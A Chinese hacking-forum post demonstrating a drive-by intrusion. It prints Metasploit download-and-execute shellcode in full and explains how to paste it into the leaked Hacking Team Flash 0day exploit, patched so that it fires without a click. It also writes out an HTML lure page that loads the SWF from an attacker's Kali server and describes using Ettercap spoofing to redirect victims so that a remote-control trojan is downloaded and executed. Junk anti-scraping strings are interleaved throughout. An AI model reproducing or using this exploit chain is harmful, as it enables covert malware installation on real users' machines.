找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1555|回复: 0
打印 上一主题 下一主题

flash 0day之手工代码修改制作下载者实例入侵演示

[复制链接]
跳转到指定楼层
楼主
发表于 2018-10-20 20:28:55 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

L3 I8 B$ n# J( m8 o 三、flash 0day之手工代码修改制作下载者实例入侵演示 : N1 ]8 V) Y6 \. c( z5 |4 G' }

8 a. h8 c" n5 w) e- J+ `

9 O8 K5 o2 z) M$ n 利用到的工具: $ {! ?7 C* e5 `3 o% s

; N, t9 f, v- M3 l! Z/ p

( w0 M4 W" W" f u% e0 u# g% W v Msf 7 H% a8 d& V* k8 Z0 {7 k5 c

4 L5 v! b1 W4 x8 D4 Q v

" S) G. |- G2 p5 v" G+ P Ettercap , D) u( N! h3 @* Q( p, n

. Z$ Y8 c0 o( w }! b" r" _

1 J. a* `& ~) |; u Adobe Flash CS6 % K7 `# R" Q' t2 ` X. H7 F6 p( ]- n

2 Y& M" `" L- T

1 G0 v& [; B& A$ K Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份 ( ~! x" M1 p R3 ?

" J4 h* [" _1 i. r/ A1 W

) k# i5 k% n2 V 下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_execshow options 4 d7 X7 X! @) e k7 ]$ [

% s! h* z) H* a9 ~. g; M3 \( u- a$ J

5 K+ t. S1 f. s, _ 如图: , D9 V' R: Z! p3 T" L# p2 a7 j) G

3 p8 { r% b+ c# D

0 Y% I$ c0 ^2 f% i   " E5 ]4 @$ V2 ?( M8 A& A

7 A: F; [* g8 J" j- \2 h

/ ~& [, M0 F9 `! Y& p   W5 m* f. }4 `& y: D

0 Z4 H! r$ |* ]8 C* \5 y

, K' H! v3 ^( O `3 a$ R9 O( q 然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图: ) B- Y# b+ j7 Y

6 x* i7 Y+ ^0 t% s( {; ^; G! p

9 `7 H/ U- @* T5 `' I   0 v" X1 H: F3 u9 ?

* u3 J, Q" m- i7 R& `5 D

+ `; p# ~. [+ d6 p, c* m# D   , r! l% ? J! L- C6 Q9 f) L: z

9 i: o0 l1 g H+ R1 Y8 @4 c" I" y

$ f# N; f7 h6 ?+ a+ o 然后执行generate -t dword生成shellcode,如下: , l7 \9 y: j$ E; v

6 k) ]& _+ G- O. a

% R+ m) { }7 L9 [& J) u( a   / z# N5 H" A; t; N9 u1 C( O

* L. b# `! u! b& ^0 W

) J) @. }1 ~0 y; k+ a1 v3 i4 w/ @ ?2 s 复制代码到文本下便于我们一会编辑flash exp,如下: ( U+ Y: x6 B/ p: I @. b8 U

5 H0 u' o! w4 B3 P+ c! C

3 p6 ], ~" ~' Q1 `% @ 0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, 0 u9 {" o0 S: L f

0 A3 y2 m: o* N T( A% U( \3 b

x% }1 J. d% ]7 o 0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, ' I- S, B. p) V8 B" J. ]

L, p$ H! R4 Z

8 E3 M7 |7 |2 s2 c4 q0 e 0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, 1 t- w! r6 ~9 ^( N& N, ], A

8 K6 @: E' Q! J

+ U1 u, h; S) K" n H) T 0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, 0 o M5 u: [3 Z* M! E

8 m8 r) W6 {0 u6 E' Y8 K x

: ~3 E4 l$ s. }: |% E 0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854, 3 x2 k( s9 I: B0 w

: d7 \2 g- P0 X3 ^9 G: B

6 \1 N& `) b7 j8 y7 i/ y 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, 6 P+ C- n# a. _+ a6 O& j( H0 H

0 _4 D% p* ^. x+ t2 h0 P; }# m

' y$ o `4 m: w5 w% E 0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e, % Q5 I9 v+ [' u8 E1 p

" R# u" i8 Z. d& _

P2 h5 f) @5 Y1 n5 h D4 B% e 0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, - f# m+ n o% a. @' [) X

- e. a& L V9 F i. [+ y3 r* G3 ?

2 {( O2 L" N0 m; t/ M7 z9 Z 0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, 6 u( [: n1 N# r7 M3 m

, H K1 n6 k' F" h7 G5 r- V

& _9 a9 Y4 C6 K 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6, % Z' [3 G: j( F; Z

6 Z) B& s6 U4 {7 X

* e) _% t/ P% k 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, . c$ L' x9 L( ^' I

* U3 x& p+ N8 r# K+ G

+ M _. b% j' T, ^4 p 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, " @ B. n$ Y" d. l2 A" }3 y% @% v

0 k0 z3 \1 e* ~- Q7 R! U* k

/ Z& e, u1 {$ g" ?" o2 n& F 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973, ' E) e# k# n1 v( A3 E" D: R

& \4 V) D4 R. P# b, T* V

2 o$ H- i/ @6 r9 R 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 ' k; v1 {0 _5 L' o6 ]( c& H

) p6 j( h" n! X2 s

/ }! p- \( T; ?* I   p0 @6 }# O9 h4 l: D

5 x% H- s+ f* p. {. K: o

0 C0 [% l; W$ r& D   3 v0 J' g, M5 d+ ]1 S d) c, m

/ s( W. Y# F' F. E: y) H' I+ Z7 Y

8 b; ?: `- ?6 d. l* z 下面我们来修改flash 0day exp,需要修改三个文件,分别为: 3 I" f: _* B) d/ N; M

+ @, [ W' f; N/ _, \9 t

7 E8 P& w/ q2 d y2 O, ~   9 G$ y5 G, j& k+ d9 H

3 g- E7 D" A2 k- t

2 T$ l& W. o, f; t 先修改ShellWin32.as,部分源代码如图: - k# x7 _; s1 j5 z) C

/ w. g. ^! x5 N& V* R- C/ N

+ V0 k5 {- L0 y: D1 x   & M" m) O( z2 t* a2 ]- S- j: h

* ^( [( O" t3 h! {0 U

! M/ v" W4 }$ Z 我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下: 5 v' F1 t; f$ y7 W0 r6 q& X

2 V: Q5 O0 R2 r# r' d; W5 [

7 c0 g( w9 b2 H7 k0 ]5 n   2 \6 I' t" {" P" c( {1 E' } @, k$ \

9 w0 D- b. Y6 }4 n7 j

0 I9 z7 ~# C' \/ ^ 然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图: U! v: {- z" Q7 ~( D( ?$ z

. D; q: p5 c6 }8 P4 ^7 E

+ Z. T- e6 [* [9 `+ e   4 u, d! u7 Q* h$ B! K( a+ a2 a; \

4 O* H: |: k/ L, l0 x# h

& B8 D! F" ~5 y 换行在后面加一句TryExpl();注意是l不是数字1,然后如图: 0 X q2 i8 r% |, | c) ]; m

- ^$ v8 L( d% _5 |

4 a8 [4 r/ [2 c, u   0 f" j7 k$ S" |) m; e/ [8 ]

1 J7 a% V o* F1 I$ f9 b* K0 I

. d ~# W y, N' [   ) ~ O& O8 m9 i

0 a/ ^( x7 t! X

9 I8 l9 w/ d. O* ]+ S   1 j2 R0 f; v2 C& V- V

& I, e+ d/ a% E; @; I; T4 Q

3 _5 e/ {' j' Z7 J8 w/ Z4 h 然后点保存,下面我们来编译一下,打开 ) s0 v+ y4 k$ }' k2 _* S$ ?

3 @2 m5 o7 j* W' j- N, \

& X# a6 {8 o# f* H: ~& z7 d: c Q exp1.fla然后点文件-发布,看看编译没错误 9 }8 D5 c! S8 i5 u: x

& }: q; g6 l- h# U

) H" I U8 ]$ J$ Y, F, Q   8 }$ I9 O5 F% K" W

\7 c* |/ [: J0 e

+ W" O$ g. o6 m# k   c* e' Z/ [3 {

% B7 A8 P! U; h4 y

h* e8 o) d" c8 }/ T   0 L- i T4 B t+ B4 Y. p

4 \5 H0 l+ `1 O5 A; ?: U: o) j

/ w c0 f% c# l% |: Q2 q. t   % ^5 U, b' l$ t7 R) F. W W

# P6 u& f% y/ v" e

7 i: H! Q- c2 H3 d. A 然后我们把生成的 9 y+ j/ q( Q8 A. T

a2 |7 i" J3 X( M5 F9 C% P8 Z

2 g0 |2 k3 D4 }7 v$ m2 ]) T exp1.swf丢到kailinux /var/www/html下: $ o8 l- t6 m; p3 v: p5 r- z& c

4 Z M1 |) o) ~$ k

/ J& w, {" T2 M! M: V$ g 然后把这段代码好好编辑一下 & Q$ s; \+ v( C

. Z% x- x) [8 d* [) E8 g- y

* M! q8 _1 D8 ^4 ^& @- R8 n1 a0 l! t   ; `: m% b E* R4 J

- t' C. O/ ?! {) L8 W4 a; M

/ t+ ?9 G# @# Q+ D0 N& Z   0 i6 ]2 k) s5 O/ x2 Q7 c# u

& P M- r# m$ \6 Q: ?# O$ d

7 _0 K7 s( s9 _9 i* q9 q   6 j1 X! n7 v5 d8 N% l

9 x, m4 |5 y x: W2 W( z- g9 Q

& V( ^; r) T: L0 s' D   ! R' ~& q! X$ R* v$ H5 {' i7 G2 r$ z

0 B+ t0 ?9 t) b7 ]! p9 M; k

9 [) O5 K: J' L' P) X3 _$ l6 a$ m   ( W* f" z2 H( ]% A p3 V

2 x7 S V/ ]$ H+ k

p! y/ }* A) `0 G x9 m. z4 `   4 i% [/ r: @; r' a* Y; k

) U& J. C0 d' M- v( V7 I6 U

5 q4 }/ V: B' k- K( O <!DOCTYPE html> / Q$ l& Z1 m$ ^! Y: p. l- b1 Z5 w

! g" w* l0 a6 U5 @

$ o9 c2 R! c( b8 q3 } <html> & F& @. t7 ~' g% E

. B$ F/ L2 l5 k) |

1 ] Q, p7 L s- H8 {6 L3 \2 A <head> . k- B+ k; C+ E9 o: }

0 `' U/ x, U& l7 X. ~

( u$ C; t$ T9 \# h& W+ Y, X <meta http-equiv="Content-Type" content="text/html; 9 \) r* }! i* C; E0 Q6 O

; Y2 o- J) V+ |2 U

7 b! P/ }2 V- y& f charset=utf-8"/> : m5 J- A' F8 h! _0 M) u" K$ ?

; o; E) E$ v4 S" d

( ?, k; N; l% K! F' C </head> + k9 ~$ @$ ]7 D1 r

( ]( G! C: ~" S" c

7 n8 O' k2 K% o: w4 h4 i <body> 9 I2 y3 z& S6 M6 a: l% {. T+ S/ e

/ I+ S6 C) E4 [/ l

) P/ F, t2 A- b( h <h2> Please wait, the requested page is loading...</h2> 4 J6 ^$ j- G$ n8 @/ f# g' F

. u. p( I# T/ T; O, R

" \9 |' }3 p* ^7 j <br> # n4 Z" Q( T- [1 ^9 p

, {3 ]4 a3 | K% n

7 T5 t3 y& p! Q3 ] <OBJECT 7 Y3 ]$ d: G( H3 J

F3 F- e- @ ?) f4 o

5 t) X2 ^- b _6 t classid="clsid27CDB6E-AE6D-11cf-96B8-444553540000"  WIDTH="50" HEIGHT="50" id="4"><ARAM NAME=movie ; x" O/ Z6 b1 q9 B8 [: c

6 }* b! p6 g5 ?9 h$ |+ F

' @( {9 L$ @: g( h VALUE="http://192.168.0.109/exp1.swf"></OBJECT> 1 S% m1 k6 C1 z& L4 R# S

5 V# I2 [4 j8 O# P2 Z

3 ?( J* p6 _" e9 x2 O </body> : B- Y2 r7 v( p- r# R7 d' L6 D

, W$ k* E1 H9 }" U0 b

8 ~! m* C6 `! K) e+ p5 c <script> - ]9 |+ `" X. z* {. V

* i* _* V' k3 S4 ?4 w6 q

4 ~5 l8 o3 c* `, x. \     setTimeout(function () { " G4 A1 \7 j; I. P( l' N

: F- ]) S+ D- ^8 [% J

J+ @( |: Y. J" L1 N8 @          9 H3 O, V; x$ B9 }

/ A5 J+ X% [5 S+ N3 j, V1 J

1 G! K+ t: u+ k$ |+ A$ v window.location.reload(); + t4 P4 a9 [" [5 x& E

: y: ^+ V/ g* T) ~# |) A

( v) q2 s: R- Z' _     }, 10000); : s7 G( b! M+ c7 C. M ^! d M

/ j9 W t0 i9 H; {2 ]9 r! I

2 @0 ]4 o$ W8 L1 d+ ^/ d+ g   : T7 ~' b9 A4 ^. X7 {4 l

2 L [& S2 T2 t- \7 o7 m

) N( u$ }+ H2 @& |, V1 k* S </script> 3 y+ A0 Y. D9 J" M a

1 \2 y8 D% m% b+ ^* m% O0 `

$ V$ E5 a) m. j \( O </html> " K9 ^% D Q5 d& X

- X" r% R9 L% X* u( ~4 A5 ~' n

5 s+ \! d9 R# M2 `' `   4 @( n+ L5 |4 o3 \. i& N

7 }& n5 r2 F6 k0 ^* Y4 E

6 |, ?) I8 @. r1 W4 ^: e 注意:192.168.0.109kaliip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图: . R# N5 _( i; ^4 i' U/ a' [$ X1 _

0 A8 o& A& h9 _* V% j

0 T: n8 H0 M7 }   . ]' d. y5 j5 ]4 y! E) Z+ T

; M; Q8 C6 z% h/ V h! ]: ? |2 n" J

3 _7 e3 r* X/ V   2 d& ]) S5 Q, E. }' m2 l

# `, r2 H# F% f* A

: n/ D0 m& |& S$ U   . b. r; g; e8 [. H7 q' X

, t) U7 W( `' c$ E' k

3 h$ P: x3 H; O0 r: }2 ?   8 m& P1 d) \5 Y, G

: P" F' H% J S5 [" `

# L6 w0 `' n& P" ^. b% h   . l; V/ t, t, e: ~0 Y; K- U- c

t" S4 H: j0 U

3 k2 o# L4 t9 | 下面我们用ettercap欺骗如图: , ~ ~; A7 j2 X8 H) G! J' k; h2 _

, t8 E7 C, j" e& i1 @2 y

@- U# Q3 f: y4 F) Y3 t4 D   3 x: |9 Y1 r* ^9 k

8 U% e, d* k, R" O8 h

) {2 e( A$ o: o- n+ Z* U( z   . I. ~9 y% I( T5 r- v- q

/ b: P l4 e# g0 d+ s* q

; @ l0 ~3 W1 O+ B 下面我们随便访问个网站看看: + U+ v; T/ {! w W; K7 X

5 M& `4 d( [ i5 @8 a4 ~- w* N) E4 ?

. I1 F9 u6 x2 ? 我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图: ; v6 o5 c# C5 w( @1 R- V1 i

7 ^6 ?8 F( w k4 v, J& l

- y+ A4 D9 ~4 h% C$ B* [! r- u/ D4 S   ! x7 M4 s$ v1 r9 m% z7 {0 Q

% ]4 ]' @4 @/ _

! e/ N% j9 M% V4 o+ S2 y 我们看另一台, / ? G2 F# V2 s' i7 i2 A

. D& ~; g4 }. N/ b

+ @9 {! S, ^6 ]3 ^. Y3 _- R 提示这个错误,说明木马是成功被下载执行了,只是由于某些原因没上线而已。。。 $ q4 x4 p( E$ v Q# G! D; W

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表